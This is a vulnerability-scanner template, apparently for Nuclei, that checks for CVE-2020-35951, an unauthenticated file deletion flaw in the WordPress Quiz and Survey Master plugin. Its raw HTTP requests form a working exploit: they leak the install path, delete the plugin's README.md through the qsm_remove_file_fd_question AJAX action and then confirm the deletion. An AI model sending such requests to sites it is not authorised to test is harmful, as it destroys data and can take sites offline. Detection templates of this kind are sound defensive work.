id: CVE-2020-35951

info:
  name: Wordpress Quiz and Survey Master Arbitrary File Deletion
  author: princechaddha
  severity: critical
  description: |
    An issue was discovered in the Quiz and Survey Master plugin before 7.0.1 for WordPress. It allows users to delete arbitrary files such as wp-config.php file, which could effectively take a site offline and allow an attacker to reinstall with a WordPress instance under their control. This occurred via qsm_remove_file_fd_question, which allowed unauthenticated deletions (even though it was only intended for a person to delete their own quiz-answer files).
  reference: https://www.wordfence.com/blog/2020/08/critical-vulnerabilities-patched-in-quiz-and-survey-master-plugin/
  tags: cve,cve2020,wordpress,wp-plugin

requests:
  - raw:
      - |
        GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
        Connection: close

      - |
        GET /wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
        Connection: close

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 269
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBJ17hSJBjuGrnW92
        Accept: */*
        Accept-Language: en-US,en;q=0.9
        Connection: close

        ------WebKitFormBoundaryBJ17hSJBjuGrnW92
        Content-Disposition: form-data; name="action"

        qsm_remove_file_fd_question
        ------WebKitFormBoundaryBJ17hSJBjuGrnW92
        Content-Disposition: form-data; name="file_url"

        {{fullpath}}wp-content/plugins/quiz-master-next/README.md
        ------WebKitFormBoundaryBJ17hSJBjuGrnW92--

      - |
        GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
        Connection: close

    extractors:
      - type: regex
        name: fullpath
        internal: true
        part: body
        group: 1
        regex:
          - "not found in <b>([/a-z_]+)wp"

    req-condition: true
    matchers-condition: and
    matchers:

      - type: word
        words:
          - '{"type":"success","message":"File removed successfully"}'
        part: body

      - type: dsl
        dsl:
          - "contains((body_1), '# Quiz And Survey Master') && status_code_4==301 && !contains((body_4), '# Quiz And Survey Master')"